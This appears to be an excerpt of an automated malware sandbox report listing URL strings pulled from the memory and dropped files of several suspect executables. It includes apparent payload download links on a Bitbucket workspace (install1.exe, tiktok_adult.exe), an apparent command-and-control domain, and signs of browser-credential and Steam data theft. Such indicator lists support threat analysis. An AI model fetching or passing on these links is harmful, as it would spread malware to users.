Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_94.9.dr	String found in binary or memory: http://www.broofa.com
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3084789813.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3074667016.0000000005D16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270018885.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_94.9.dr	String found in binary or memory: https://apis.google.com
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-exp.prod-east.frontend.public.atl-paas.net
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net
Source: skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/
Source: skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/
Source: skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/1
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/70e84e0b-e14f-45c5-ab65-07760e9609fc/downloads/0f40a96a-7848-
Source: skotes.exe, 00000013.00000002.3383017404.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: skotes.exe, 00000013.00000002.3383017404.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/install1.exe
Source: install1.exe, 00000015.00000002.3380177755.0000000002350000.00000004.00000020.00020000.00000000.sdmp, install1.exe, 00000015.00000002.3379854092.0000000002347000.00000004.00000020.00020000.00000000.sdmp, 2C57.bat.21.dr	String found in binary or memory: https://bitbucket.org/mynewworkspace123312/scnd/downloads/tiktok_adult.exe
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000AB7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: chromecache_94.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_94.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_94.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_94.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: uLkHEqZ3u3.exe, uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247646183.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2221054548.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269119660.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269564224.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247504756.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247593890.0000000005CC7000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359033413.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269035374.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247412917.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2221010399.0000000001535000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247879911.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321826250.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2322215355.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247373502.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/3
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2297538057.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2359033413.0000000005CD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/W
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Z
